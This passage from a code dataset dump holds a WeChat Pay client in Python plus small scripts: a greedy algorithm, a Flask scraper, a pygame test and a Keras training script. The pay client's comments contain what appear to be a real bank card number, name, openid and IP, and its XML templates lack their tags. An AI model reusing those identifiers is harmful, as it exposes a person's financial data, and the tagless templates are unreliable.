self.token_expires_at]))\n return self._token\n\n def grant_js_ticket(self):\n \"\"\"\n 获取 获取jssdk ticket。\n :return: 返回的 JSON 数据包\n \"\"\"\n return self.get(\n url=JSTICKET_URI,\n params={\"access_token\": self.token, \"type\": \"jsapi\"}\n )\n\n @property\n def jsticket(self):\n \"\"\"\n 得到jsticket\n \"\"\"\n key_ticket = \"pay_client_jsticket\"\n stream = redis.get(key_ticket)\n\n _jsticket = 0\n _expires_at = 0\n if stream:\n _jsticket, _expires_at = loads(stream)\n\n if _jsticket:\n now = time.time()\n if _expires_at - now > 480:\n logger.info(\"exipres ticket: {}\".format(_expires_at - now))\n return _jsticket\n\n json = self.grant_js_ticket()\n _jsticket = json['ticket']\n js_express = self._now_time + json['expires_in']\n # set\n redis.set(key_ticket, dumps([_jsticket, js_express]))\n return _jsticket\n\n def jsconfig(self, **kwargs):\n \"\"\"\n 得到jsconfig 配置信息\n \"\"\"\n json = {\n \"noncestr\": generate_token(),\n \"jsapi_ticket\": self.jsticket,\n \"timestamp\": self._now_time,\n \"url\": kwargs.pop(\"url\", JSPARAMS_URI)\n }\n # 根据参与签名参数得到签名\n sign_type = 'SHA1'\n sign, _ = get_sign(json, sign_type=sign_type, is_upper=False)\n json['sign'] = sign\n json[\"appid\"] = self.appid\n return json, sign, sign_type\n\n def get_prepay_id_by_unified_pay(self, **package):\n xml_data = \"\"\"\n \n {appid}\n \n {mch_id}\n {nonce_str}\n {notify_url}\n {openid}\n {out_trade_no}\n {spbill_create_ip}\n {total_fee}\n {trade_type}\n \n \n \"\"\"\n package.update({\n \"appid\": self.appid,\n \"mch_id\": self.partner_id,\n \"nonce_str\": generate_token(),\n })\n # 根据参与签名参数得到签名\n sign, _ = get_sign(package, pay_sign_key=self.pay_sign_key)\n package['sign'] = sign\n # 转换xml数据\n xml_data = xml_data.format(**package).encode(\"utf-8\")\n\n # 请求统一支付下单接口\n json = self.post(JSPAY_URI, data=xml_data)\n logger.info(\"xml_data: {}\".format(xml_data))\n if json[\"return_code\"] == \"SUCCESS\" and json['result_code'] == \"SUCCESS\":\n return json['prepay_id']\n # 返回正常字符,后面需要拼接\n return \"prepay_id\"\n\n def get_line_url(self, **kw):\n \"\"\"\n 获取线下二维码url\n :return:\n \"\"\"\n kw.update({\n \"appid\": self.appid,\n \"mch_id\": self.partner_id,\n \"nonce_str\": generate_token(),\n \"time_stamp\": self._now_time\n })\n # 根据参与签名参数得到签名\n sign, _ = get_sign(kw, pay_sign_key=self.pay_sign_key)\n kw['sign'] = sign\n url = self.line_url.format(**kw)\n return url\n\n def get_prepay_id_by_native_pay(self, **package):\n \"\"\"\n 扫码支付\n 得到二维码code_url\n \"\"\"\n xml_data = \"\"\"\n \n {appid}\n \n {mch_id}\n {nonce_str}\n {notify_url}\n {out_trade_no}\n {spbill_create_ip}\n {total_fee}\n {trade_type}\n {product_id}\n \n \n \"\"\"\n package.update({\n \"appid\": self.appid,\n \"mch_id\": self.partner_id,\n \"nonce_str\": generate_token(),\n })\n # 根据参与签名参数得到签名\n sign, _ = get_sign(package, pay_sign_key=self.pay_sign_key)\n package['sign'] = sign\n # 转换xml数据\n xml_data = xml_data.format(**package)\n\n\n # 请求统一支付下单接口\n json = self.post(JSPAY_URI, data=xml_data.encode(\"utf-8\").decode(\"latin1\"))\n if json[\"return_code\"] == \"SUCCESS\" and json['result_code'] == \"SUCCESS\":\n return json['prepay_id'], json['code_url']\n # 返回正常字符,后面需要拼接\n return \"prepay_id\", \"\"\n\n def get_line_scan_callback_xml(self, **kw):\n \"\"\"\n 组织线下支付回调返回prepay_id xml数据\n \"\"\"\n xml_data = \"\"\"\n {return_code}\n {result_code}\n {appid}\n {mch_id}\n \n \n \n \n \"\"\"\n kw.update({\n \"appid\": self.appid,\n \"mch_id\": self.partner_id,\n \"nonce_str\": generate_token(),\n })\n # 根据参与签名参数得到签名\n sign, _ = get_sign(kw, pay_sign_key=self.pay_sign_key)\n kw['sign'] = sign\n # 转换xml数据\n xml_data = xml_data.format(**kw)\n \n\n return xml_data\n\n def orderquery(self, **package):\n \"\"\"\n 订单查询\n 返回订单支付状态\n \"\"\"\n xml_data = \"\"\"\n \n {appid}\n {mch_id}\n {nonce_str}\n {out_trade_no}\n \n \n \"\"\"\n package.update({\n \"appid\": self.appid,\n \"mch_id\": self.partner_id,\n \"nonce_str\": generate_token(),\n })\n # 根据参与签名参数得到签名\n sign, _ = get_sign(package, pay_sign_key=self.pay_sign_key)\n package['sign'] = sign\n # 转换xml数据\n xml_data = xml_data.format(**package)\n\n json = self.post(ORDER_QUERY, data=xml_data)\n if json[\"return_code\"] == \"SUCCESS\" and json['result_code'] == \"SUCCESS\":\n return json['trade_state'], json\n return 0, {}\n\n def out_trade_no(self, pid):\n _out_trade_no = str(time.time()).replace(\".\", \"\") + str(pid)\n return _out_trade_no[:20]\n\n def js_pay_package(self, **kwargs):\n \"\"\"\n chooseWXPay 参数\n timestamp: {{ wxpay.timestamp }}, // 参与签名key为timeStamp,必须与wxconfig中的时间戳一致\n nonceStr: '{{ wxpay.nonceStr }}', // 支付签名随机串,不长于 32 位\n package: '{{ wxpay.package }}', // 统一支付接口返回的prepay_id参数值,提交格式如:prepay_id=***)\n signType: '{{ wxpay.signType }}', // 签名方式,默认为'SHA1',使用新版支付需传入'MD5'\n \"\"\"\n # 更新默认参与签名参数\n kwargs.update({\n \"appId\": self.appid,\n \"nonceStr\": generate_token(),\n \"signType\": \"MD5\"\n })\n # 根据参与签名参数得到签名\n sign, _ = get_sign(kwargs, pay_sign_key=self.pay_sign_key)\n kwargs['paySign'] = sign\n return kwargs\n\n def wap_h5_pay(self, **kwargs):\n \"\"\"\n H5支付\n \"\"\"\n xml_data = \"\"\"\n \n {appid}\n \n {mch_id}\n {nonce_str}\n {notify_url}\n {out_trade_no}\n {spbill_create_ip}\n {total_fee}\n {trade_type}\n {scene_info}\n \n \n \"\"\"\n wap_url = kwargs.pop(\"wap_url\", \"\")\n wap_name = kwargs.pop(\"wap_name\", \"\")\n scene_info = {\n \"h5_info\": {\n \"type\": \"Wap\",\n \"wap_url\": wap_url,\n \"wap_name\": wap_name\n }\n }\n kwargs['scene_info'] = json_pkg.dumps(scene_info)\n # 更新默认参与签名参数\n kwargs.update({\n \"appid\": self.appid,\n \"mch_id\": self.partner_id,\n \"nonce_str\": generate_token(),\n \"trade_type\": \"MWEB\"\n })\n logger.info(\"sign before kwargs: {}\".format(kwargs))\n sign, _ = get_sign(kwargs, pay_sign_key=self.pay_sign_key)\n kwargs['sign'] = sign\n logger.info(\"sign after kwargs: {}\".format(kwargs))\n xml_data = xml_data.format(**kwargs).encode(\"utf-8\")\n\n json = self.post(JSPAY_URI, data=xml_data)\n logger.info(\"wechat response json data: {}\".format(json))\n return json\n\n def pay_to_bank(self, **kwargs):\n \"\"\"\n 企业付款到银行卡\n kwargs['amount'] = 1\n kwargs['bank_code'] = 1002\n kwargs['bank_note'] = 'test'\n kwargs['desc'] = 'test'\n kwargs['bank_no'] = '6212261001014506692'\n kwargs['true_name'] = '向进'\n kwargs['partner_trade_no'] = str(self._now_time)\n \"\"\"\n xml_data = \"\"\"\n \n {amount}\n {bank_code}\n {bank_note}\n {desc}\n {enc_bank_no}\n {enc_true_name}\n {mch_id}\n {nonce_str}\n {partner_trade_no}\n {sign}\n \n \"\"\"\n kwargs.update({\n \"mch_id\": self.partner_id,\n \"nonce_str\": generate_token(),\n })\n \n bank_no = kwargs.pop(\"bank_no\", None)\n true_name = kwargs.pop(\"true_name\", None)\n if not (bank_no and true_name):\n raise PayException(\"bank_no and true_name is required\")\n\n # enc_bank_no, enc_true_name 加密\n enc_bank_no = self.signature(bank_no)\n enc_true_name = self.signature(true_name)\n\n kwargs['enc_bank_no'] = enc_bank_no\n kwargs['enc_true_name'] = enc_true_name\n\n sign, _ = get_sign(kwargs, pay_sign_key=self.pay_sign_key)\n kwargs['sign'] = sign\n logger.info(\"请求提现到银行卡的参数:{}\".format(kwargs))\n xml_data = xml_data.format(**kwargs).encode(\"utf-8\")\n\n\n json = self.post(PAY_BANK_URI, data=xml_data, cert=(APICLIENT_CERT, APICLIENT_KEY), verify=True)\n result_code = json.get(\"result_code\")\n # SYSTEMERROR, INVALID_REQUEST 微信系统错误,需要使用原请求参数进行重试\n # if result_code in (\"SYSTEMERROR\", \"INVALID_REQUEST\"):\n # del kwargs['sign']\n # self.pay_to_bank(**kwargs)\n\n return json\n\n def query_bank(self, **kwargs):\n \"\"\"\n 查询企业付款银行卡\n \"\"\"\n xml_data = \"\"\"\n \n {mch_id}\n {nonce_str}\n {partner_trade_no}\n {sign}\n \n \"\"\"\n kwargs.update({\n \"mch_id\": self.partner_id,\n \"nonce_str\": generate_token(),\n })\n\n sign, _ = get_sign(kwargs, pay_sign_key=self.pay_sign_key)\n kwargs['sign'] = sign\n\n xml_data = xml_data.format(**kwargs)\n\n\n json = self.post(QUERY_BANK_URI, data=xml_data, cert=(APICLIENT_CERT, APICLIENT_KEY), verify=True)\n return json\n\n def promotion_transfers(self, **kwargs):\n \"\"\"\n 提现到零钱\n \"\"\"\n xml_data = \"\"\"\n \n {mch_appid}\n {mchid}\n {nonce_str}\n {partner_trade_no}\n {openid}\n {check_name}\n {re_user_name}\n {amount}\n {desc}\n {spbill_create_ip}\n {sign}\n \n \"\"\"\n kwargs.update({\n \"mch_appid\": self.appid,\n \"mchid\": self.partner_id,\n \"nonce_str\": generate_token(),\n })\n\n # kwargs['partner_trade_no'] = str(self._now_time)\n # kwargs['openid'] = 'oANoEwGS99wH34zfu-dYaCzoV0cM'\n # kwargs['check_name'] = 'NO_CHECK'\n # kwargs['re_user_name'] = '向进'\n # kwargs['amount'] = 100\n # kwargs['desc'] = 'desc'\n # kwargs['spbill_create_ip'] = '139.227.252.215'\n\n sign, _ = get_sign(kwargs, pay_sign_key=self.pay_sign_key)\n kwargs['sign'] = sign\n\n logger.info(\"Wechat Pay Arguments: {}\".format(kwargs))\n\n xml_data = xml_data.format(**kwargs).encode(\"utf-8\")\n\n json = self.post(PROMOTION_TRANSFERS_URI, data=xml_data, cert=(APICLIENT_CERT, APICLIENT_KEY), verify=True)\n\n result_code = json.get(\"result_code\")\n if result_code == \"FAIL\":\n err_code = json.get(\"err_code\")\n if err_code in (\"SYSTEMERROR\", \"INVALID_REQUEST\"):\n # 使用原订单号请求\n del kwargs['sign']\n self.promotion_transfers(**kwargs)\n\n return json\n\n def get_transfer_info(self, **kwargs):\n \"\"\"\n 查询企业付款到零钱\n \"\"\"\n xml_data = \"\"\"\n \n \n \n \n \n \n \n \"\"\"\n\n kwargs.update({\n \"mch_id\": self.partner_id,\n \"appid\": self.appid,\n \"nonce_str\": generate_token()\n })\n\n sign, _ = get_sign(kwargs, pay_sign_key=self.pay_sign_key)\n kwargs['sign'] = sign\n\n\n json = self.post(QUERY_TRANSFER_INFO_URI, data=xml_data, cert=(APICLIENT_CERT, APICLIENT_KEY), verify=True)\n return json\n\n def get_public_key(self, **kwargs):\n \"\"\"\n 获取企业支付PKCS 银行账户名,账户加密公钥\n \"\"\"\n xml_data = \"\"\"\n \n {mch_id}\n {nonce_str}\n {sign_type}\n {sign}\n \n \"\"\"\n kwargs.update({\n \"nonce_str\": generate_token(),\n \"mch_id\": self.partner_id,\n \"sign_type\": \"MD5\"\n })\n\n sign, _ = get_sign(kwargs, sign_type=\"MD5\", pay_sign_key=self.pay_sign_key)\n kwargs['sign'] = sign\n\n xml_data = xml_data.format(**kwargs)\n\n\n json = self.post(PUBLIC_KEY_URI, data=xml_data, cert=(APICLIENT_CERT, APICLIENT_KEY), verify=True)\n\n return_code = json.get('return_code')\n if return_code == 'SUCCESS':\n public_key = json.get(\"pub_key\")\n # wirte public key to file\n with open(PUBLIC_PEM, 'w') as pem:\n pem.write(public_key)\n return json\n\ntry:\n pay_client = PayClient(settings.WECHAT_APP_ID, settings.WECHAT_APP_SECRET)\nexcept NameError:\n pay_client\n","sub_path":"weixin/pay_client.py","file_name":"pay_client.py","file_ext":"py","file_size_in_byte":21975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"466870554","text":"#Uses python3\n\nimport sys\n\ndef flatten(result):\n res = \"\"\n for i in result:\n res+=i\n return res\n\ndef Is_Greater_Or_Equal(digit, max_digit):\n return int(str(digit) + str(max_digit)) >= int(str(max_digit) + str(digit))\n\ndef largest_number(num_list):\n result = []\n while num_list != []:\n max_digit = 0\n for digit in num_list:\n if Is_Greater_Or_Equal(digit, max_digit):\n max_digit = digit\n result.append(max_digit)\n num_list.remove(max_digit)\n final_result = flatten(result)\n return final_result\n\nif __name__ == '__main__':\n input = sys.stdin.read()\n data = input.split()\n a = data[1:]\n print(largest_number(a))\n","sub_path":"Greedy Algorithms/largest_number.py","file_name":"largest_number.py","file_ext":"py","file_size_in_byte":705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"131003937","text":"from flask import Flask, render_template, request, url_for, redirect\nfrom pyquery import PyQuery as pq\n\napp = Flask(__name__)\n\ndef get_search_results(query):\n d = pq(url='http://slovarji.najdi.si/najdi/%s' % query)\n a = d('#contentDict')\n a('a').attr('onclick', '')\n a('.dict_search_more_pons').remove()\n a('.dict_source').remove()\n a('.dict_title_wrapp').remove()\n return a.html().replace('
', '')\n\n@app.route('/')\ndef index():\n if 'q' in request.args:\n return redirect(url_for('search', query=request.args['q']))\n\n return render_template('index.html')\n\n@app.route('/najdi/')\ndef search(query=None):\n results = ''\n\n if query:\n results = get_search_results(query)\n\n return render_template('index.html', query=query, results=results)\n\nif __name__ == '__main__':\n app.run(debug=True)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"494429230","text":"from single_player.client import TractorClient\nimport pygame\n\nmy_client = TractorClient(True)\n\ntest_hand = list(my_client.deck_dict.keys())[:25]\ntest_played = list(my_client.deck_dict.keys())[25:27]\ntest_data = []\nfor i in range(4):\n test_data += [i, test_hand, test_played]\ntest_data += ['True', 'True', 'True', 'test_score', 'test_suit', '1']\nmy_client.set_data(test_data)\n\nwhile True:\n for event in pygame.event.get():\n # quit if the quit button was pressed\n if event.type == pygame.QUIT:\n exit()\n elif event.type == pygame.MOUSEBUTTONUP:\n print(event.pos)\n elif event.type == pygame.KEYUP:\n print(event.key)\n my_client.update(True)","sub_path":"single_player/gui_test.py","file_name":"gui_test.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"57411308","text":"import argparse\nimport numpy as np\nimport pickle\nimport os\nimport sys\nos.environ['KERAS_BACKEND'] = 'tensorflow'\nfrom keras.models import Sequential, load_model\nfrom keras.layers import Conv2D\nimport matplotlib.gridspec as gridspec\nfrom keras.models import Model\nfrom keras.layers import Dense, Dropout, Activation, Flatten\nfrom keras.layers import MaxPooling2D\nfrom keras.callbacks import ModelCheckpoint, EarlyStopping, Callback\nimport sklearn\nfrom keras.regularizers import l2,l1\nfrom keras.layers import *\nfrom sklearn.metrics import hamming_loss,label_ranking_loss,confusion_matrix, auc,roc_curve,roc_auc_score, precision_recall_curve\nfrom keras.optimizers import SGD\nfrom keras.layers.merge import concatenate\nfrom keras.losses import binary_crossentropy\nfrom keras import optimizers,losses,metrics\nfrom sklearn import metrics as met\nimport keras.backend as K\nimport keras.backend.tensorflow_backend as tfb\nfrom skmultilearn.utils import measure_per_label\nimport sklearn.metrics as skm\nimport tensorflow as tf\n# from tensorflow_addons.metrics import HammingLoss\nimport scipy\nfrom numpy import asarray\nfrom numpy import ones\nfrom sklearn.metrics import fbeta_score\nfrom sklearn import svm\nimport matplotlib\nmatplotlib.use('TkAgg')\nfrom matplotlib import pyplot\nglobalArr= [[],[],[],[],[],[],[],[]]\nf_globalArr= [[],[],[],[],[],[],[],[]]\nhighest_roc = (-sys.maxsize - 1,0,0)\nhighest_prc = (-sys.maxsize - 1,0,0)\nhighest_accuracy = -sys.maxsize - 1\nextension='single'\n\nclass Metrics(Callback):\n def on_epoch_end(self, batch, logs={}):\n predValid = self.model.predict_proba(self.validation_data[0])\n pred_binary = K.round(predValid)\n Yvalid = self.validation_data[1]\n file = open(\"output-\"+extension+\".txt\", \"w\")\n file.write('Epoch :'+str(batch))\n for i in range(50):\n temp = np.array_str(np.array([pred_binary[i,:],Yvalid[i,:].astype(int)]))\n file.write(temp)\n file.write('\\n--------------\\n')\n self.acc_per_label = measure_per_label(skm.accuracy_score, scipy.sparse.csr_matrix(Yvalid),scipy.sparse.csr_matrix(pred_binary))\n self.f_score = measure_per_label(my_fbeta, scipy.sparse.csr_matrix(Yvalid),scipy.sparse.csr_matrix(pred_binary))\n # self.prc_by_label = measure_per_label(skm.auc(skm.precision_recall_curve[0],skm.precision_recall_curve[1]), scipy.sparse.csr_matrix(Yvalid),scipy.sparse.csr_matrix(predValid.round()))\n fpr = dict()\n tpr = dict()\n roc_auc = dict()\n for i in range(Yvalid.shape[1]):\n fpr[i], tpr[i], _ = roc_curve(Yvalid[:, i], pred_binary[:, i])\n roc_auc[i] = auc(fpr[i], tpr[i])\n global roc_triplet\n roc_triplet = (roc_auc,fpr,tpr)\n self.auc_per_label = roc_auc\n\n prec = dict()\n recall = dict()\n prc_auc = dict()\n for i in range(Yvalid.shape[1]):\n prec[i], recall[i], _ = precision_recall_curve(Yvalid[:, i], pred_binary[:, i])\n prc_auc[i] = auc(recall[i], prec[i])\n global prc_triplet\n prc_triplet = (prc_auc,recall,prec)\n self.prc_per_label = prc_auc\n\n # confusion csr_matrix\n print(\"Confusion matrix: \" ,skm.confusion_matrix(Yvalid, pred_binary))\n\n # print(\"Per label auc:\",self.auc_per_label)\n # print(\"Per label prc:\",self.prc_per_label)\n print(\"Per label accuracy:\",self.acc_per_label)\n try:\n for i in range(8):\n globalArr[i].append(self.acc_per_label[i])\n f_globalArr[i].append(self.f_score[i])\n except:\n print(\"Single label scenario\")\n f_globalArr[0].append(self.f_score) # my fbeta function is faulty\n print(\"Per label f2 score:\",self.f_score)\n global highest_accuracy\n if logs.get('val_accuracy') > highest_accuracy:\n highest_accuracy = logs.get('val_accuracy')\n\n return\n\n\n\ndef calculating_class_weights(y_true):\n from sklearn.utils.class_weight import compute_class_weight,compute_sample_weight\n number_dim = np.shape(y_true)[1]\n weights = np.empty([number_dim, 2])\n for i in range(number_dim):\n weights[i] = compute_class_weight('balanced', np.unique(y_true[:, i]), y_true[:, i])\n return weights\n\ndef get_model(numLabels, numConvLayers, numConvFilters, poolingDropout, learningRate, momentum, length):\n model = Sequential()\n conv1_layer = Conv1D(filters=1000,\n kernel_size=8,\n input_shape=(length, 4),\n padding=\"valid\",\n activation=\"relu\",\n # use_bias=True, kernel_regularizer=l2(0.001))\n use_bias=True)\n model.add(conv1_layer)\n model.add(MaxPooling1D(pool_size=4))\n model.add(Dropout(0.2))\n\n convn_layer = Conv1D(padding=\"valid\",\n activation=\"relu\",\n kernel_size=4,\n filters=500,\n use_bias=True, kernel_regularizer=l2(0.001))\n # use_bias=True)\n model.add(convn_layer)\n model.add(MaxPooling1D(pool_size=4))\n model.add(Dropout(0.2))\n\n convn_layer = Conv1D(padding=\"valid\",\n activation=\"relu\",\n kernel_size=4,\n filters=250,\n use_bias=True, kernel_regularizer=l2(0.001))\n # use_bias=True)\n model.add(convn_layer)\n model.add(MaxPooling1D(pool_size=4))\n model.add(Dropout(0.2))\n\n model.add(Flatten())\n model.add(Dense(units=numLabels, use_bias=True, kernel_regularizer=l2(0.001)))\n model.add(Activation('sigmoid'))\n return model\n\n# plot diagnostic learning curves\ndef summarize_diagnostics(history):\n gs = gridspec.GridSpec(3, 2)\n\n fig = pyplot.figure()\n # plot loss\n ax1=pyplot.subplot(gs[0, :])\n ax1.title.set_text('Cross Entropy Loss')\n ax1.plot(history.history['loss'], color='blue', label='train')\n ax1.plot(history.history['val_loss'], color='orange', label='test')\n ax1.set_yticks(np.arange(0, 1.2, step=0.2))\n\n\t# # plot fbeta\n # ax2 = pyplot.subplot(411)\n # ax2.title.set_text('Fbeta')\n # if extension!='single':\n # for i in range(8):\n # ax2.plot(f_globalArr[i], label='mine')\n # ax2.legend(\n # ['Progenitor','Dendritic','Monocyte','B cell','Basophil','NK cell','CD4+','CD8+'],loc='lower left', ncol=2)\n # # else:\n # # ax2.plot(f_globalArr[0], label='sklearn')\n # ax2.plot(history.history['fbeta'], color='blue', label='train')\n # ax2.plot(history.history['val_fbeta'], color='orange', label='test')\n # ax2.set_yticks(np.arange(0, 1.2, step=0.2))\n\n #plot accuracy\n ax3=pyplot.subplot(gs[1, :])\n ax3.title.set_text('Accuracy')\n if extension!='single':\n for i in range(8):\n ax3.plot(globalArr[i], label='mine')\n ax3.legend(['Progenitor','Dendritic','Monocyte','B cell','Basophil','NK cell','CD4+','CD8+'],loc='lower left', ncol=2)\n ax3.plot(history.history['accuracy'], label='train')\n ax3.plot(history.history['val_accuracy'], label='test')\n ax3.set_yticks(np.arange(0, 1.2, step=0.2))\n\n #Plot auroc\n ax4=pyplot.subplot(gs[2, 0])\n if extension!='single':\n for i in range(8):\n ax4.plot(roc_triplet[1][i],roc_triplet[2][i],label='ROC curve (area = %0.2f)' % roc_triplet[0][i])\n else:\n ax4.plot(roc_triplet[1][0],roc_triplet[2][0],label='ROC curve (area = %0.2f)' % roc_triplet[0][0])\n ax4.set_yticks(np.arange(0, 1.25, step=0.2))\n ax4.set_xticks(np.arange(0, 1.2, step=0.2))\n ax4.legend(loc=\"lower right\")\n\n #Plot auprc\n ax5=pyplot.subplot(gs[2, 1])\n if extension!='single':\n for i in range(8):\n ax5.plot(prc_triplet[1][i],prc_triplet[2][i],label='PRC curve (area = %0.2f)' % prc_triplet[0][i])\n else:\n ax5.plot(prc_triplet[1][0],prc_triplet[2][0],label='PRC curve (area = %0.2f)' % prc_triplet[0][0])\n ax5.set_yticks(np.arange(0, 1.25, step=0.2))\n ax5.set_xticks(np.arange(0, 1.2, step=0.2))\n ax5.legend(loc=\"lower right\")\n\n # save plot to file\n fig.tight_layout()\n fig.savefig('my_plot-new-' + extension+'.png')\n pyplot.close()\n\ndef train_model(modelOut,\n X_train,\n Y_train,\n X_valid,\n Y_valid,\n batchSize,\n numEpochs,\n numConvLayers,\n numConvFilters,\n poolingDropout,\n learningRate,\n momentum,\n length,\n pretrainedModel):\n\n # class_weights = calculating_class_weights(Y_train)\n # print(class_weights)\n\n # numLabels=1\n try:\n numLabels = Y_train.shape[1]\n except:\n numLabels= 1\n # X_train = np.reshape(X_train, (X_train.shape[0],1,X_train.shape[1],X_train.shape[2]))\n # X_valid = np.reshape(X_valid, (X_valid.shape[0],1,X_valid.shape[1],X_valid.shape[2]))\n if pretrainedModel:\n model = load_model(pretrainedModel)\n else:\n model = get_model(numLabels, numConvLayers, numConvFilters, poolingDropout, learningRate, momentum, length)\n optim = SGD(lr=learningRate, momentum=momentum)\n #'binary_crossentropy' get_weighted_loss(class_weights)\n model.compile(loss='binary_crossentropy', optimizer=optim, metrics=['accuracy'])#,fbeta]), ranking_loss]) #specificity_metric])\n model.summary()\n checkpointer = ModelCheckpoint(filepath=modelOut,\n verbose=1, save_best_only=True, monitor='val_loss', mode='min')\n earlystopper = EarlyStopping(patience=10, monitor='val_accuracy', min_delta=0, verbose=0, mode='max')\n print(X_valid.shape)\n print(Y_valid.shape)\n cust_metrics = Metrics()\n history = model.fit(x=X_train, y=Y_train, batch_size=batchSize, epochs=numEpochs, shuffle=True, verbose=1,\n validation_data = (X_valid, Y_valid), initial_epoch=0, callbacks=[checkpointer,cust_metrics, earlystopper])#, class_weight = classWeights)\n # from skmultilearn.problem_transform import BinaryRelevance\n # from skmultilearn.ext import Keras\n # KERAS_PARAMS = dict(batch_size=batchSize, epochs=numEpochs, shuffle=True, verbose=1,\n # validation_data = (X_valid, Y_valid), initial_epoch=0, callbacks=[checkpointer,cust_metrics])\n # clf = BinaryRelevance(classifier=Keras(model, False, KERAS_PARAMS), require_dense=[False,True])\n # history = clf.fit(X_train, Y_train)\n # learning curves\n summarize_diagnostics(history)\n\ndef my_fbeta(y_true, y_pred):\n return fbeta_score(y_true, y_pred,2)\n\nif __name__==\"__main__\":\n parser = argparse.ArgumentParser(description='Train a convolutional neural networnp model', fromfile_prefix_chars='@')\n parser.add_argument('-xt', '--xtrain', help='npy file containing training data', required=True)\n parser.add_argument('-yt', '--ytrain', help='npy file containing training labels', required=True)\n parser.add_argument('-xv', '--xvalid', help='npy file containing validation data', required=True)\n parser.add_argument('-yv', '--yvalid', help='npy file containing validation labels', required=True)\n parser.add_argument('-o', '--model-out', help='hdf5 file path for output', required=True)\n parser.add_argument('-b', '--batch-size', type=int, help='mini-batch size for training', required=False, default=100)\n parser.add_argument('-e', '--num-epochs', type=int, help='number of epochs to train', required=False, default=50)\n parser.add_argument('-n', '--num-conv-layers', type=int, help='number of convolutional layers to use', required=False, default=2)\n parser.add_argument('-c', '--num-conv-filters', type=int, help='number of convolutional filters to use in layers after the first one', required=False, default=100)\n parser.add_argument('-pdrop', '--pool-dropout-rate', type=float, help='dropout rate for pooling layer', required=False, default=0.2)\n parser.add_argument('-lr', '--learning-rate', type=float, help='learning rate for sgd optimizer', required=False, default=0.01)\n parser.add_argument('-m', '--momentum', type=float, help='momentum for sgd', required=False, default=0.9)\n parser.add_argument('-l', '--length', type=int, help='length of input nucleotide sequences', required=False, default=499)\n parser.add_argument('-w', '--pretrained-model', help='path to hdf5 file containing pretrained model', required=False, default=None)\n parser.add_argument('-c1w', '--class-1-weight', type=int, help='weight for positive class during training', required=False, default=1)\n parser.add_argument('-c2w', '--class-2-weight', type=int, help='weight for positive class during training', required=False, default=1)\n args = parser.parse_args()\n print(\"Loading data\")\n X_train = np.load(file=args.xtrain)\n Y_train = np.load(file=args.ytrain)\n\n X_valid = np.load(file=args.xvalid)\n Y_valid = np.load(file=args.yvalid)\n\n # Note no. of samples will be doubled from output of standardizepeaks\n # because of reverse complements\n print(\"Training on: \"+ str(X_train.shape[0]))\n print(\"Validating on: \" + str(X_valid.shape[0]))\n\n # if extension=='single':\n # print(\"Extracting 1 label\")\n # Y_train = Y_train[:,1]\n # Y_valid = Y_valid[:,1]\n\n #\n print('Model state:')\n print('LR='+str(args.learning_rate)+'\\nMomentum='+str(args.momentum))\n #\n #train SVM models\n #use gkm-svm : lsgkm\n # ''' To generate fasta files use:\n # sed '/^chr8/ d' combined.bed | sed '/^chr9/ d' | sed '/^chr4/ d' > training.bed\n # ./bedtools getfasta -fi hg38.fa -bed diff_acess/negSet-2.bed -fo diff_acess/negSet.fa\n # ./bedtools getfasta -fi hg38.fa -bed diff_acess/training.bed -fo diff_acess/posSet.fa '''\n # print(\"Training SVM model\")\n # os.system('/home/snigdhaa/lsgkm/src/gkmtrain -T 16 -s /home/snigdhaa/diff_acess/svmData/prom2pos.fa /home/snigdhaa/diff_acess/svmData/prom2neg.fa svmModel-short')\n\n print(Y_valid.shape)\n test_yhat = asarray([np.zeros(Y_valid.shape[1]) for _ in range(Y_valid.shape[0])])\n print(measure_per_label(skm.accuracy_score, scipy.sparse.csr_matrix(Y_valid),scipy.sparse.csr_matrix(test_yhat)))\n m = tf.keras.metrics.Accuracy()\n _ = m.update_state(Y_valid,test_yhat)\n print(m.result().numpy() )\n\n #Check baseline auroc and auprc for single label\n prec, recall, _ = precision_recall_curve(Y_valid, test_yhat)\n prc_auc = auc(recall, prec)\n print(\"Baseline prc:\"+str(prc_auc))\n\n fpr, tpr, _ = roc_curve(Y_valid, test_yhat)\n roc_auc = auc(fpr, tpr)\n print(\"Baseline roc:\"+str(roc_auc))\n\n train_model(modelOut=args.model_out,\n X_train=X_train,\n Y_train=Y_train,\n X_valid=X_valid,\n Y_valid=Y_valid,\n batchSize=args.batch_size,\n numEpochs=args.num_epochs,\n numConvLayers=args.num_conv_layers,\n numConvFilters=args.num_conv_filters,\n poolingDropout=args.pool_dropout_rate,\n learningRate=args.learning_rate,\n momentum=args.momentum,\n length=args.length,\n pretrainedModel=args.pretrained_model)\n print('Highest accuracy: '+str(highest_accuracy))\n\n model = load_model('output-newDrop.hdf5')\n predValid = model.predict_proba(X_valid)\n pred_binary = K.round(predValid)\n fpr = dict()\n tpr = dict()\n roc_auc = dict()\n for i in range(Y_valid.shape[1]):\n fpr[i], tpr[i], _ = roc_curve(Y_valid[:, i], pred_binary[:, i])\n roc_auc[i] = auc(fpr[i], tpr[i])\n roc_triplet = (roc_auc,fpr,tpr)\n\n prec = dict()\n recall = dict()\n prc_auc = dict()\n for i in range(Y_valid.shape[1]):\n prec[i], recall[i], _ = precision_recall_curve(Y_valid[:, i], pred_binary[:, i])\n prc_auc[i] = auc(recall[i], prec[i])\n prc_triplet = (prc_auc,recall,prec)\n\n gs = gridspec.GridSpec(1, 2)\n\n fig = pyplot.figure()\n #Plot auroc\n ax4=pyplot.subplot(gs[0, 0])\n if extension!='single':\n for i in range(8):\n ax4.plot(roc_triplet[1][i],roc_triplet[2][i],label='ROC curve (area = %0.2f)' % roc_triplet[0][i])\n else:\n ax4.plot(roc_triplet[1][0],roc_triplet[2][0],label='ROC curve (area = %0.2f)' % roc_triplet[0][0])\n ax4.set_yticks(np.arange(0, 1.25, step=0.2))\n ax4.set_xticks(np.arange(0, 1.2, step=0.2))\n ax4.legend(loc=\"lower right\")\n\n #Plot auprc\n ax5=pyplot.subplot(gs[0, 1])\n if extension!='single':\n for i in range(8):\n ax5.plot(prc_triplet[1][i],prc_triplet[2][i],label='PRC curve (area = %0.2f)' % prc_triplet[0][i])\n 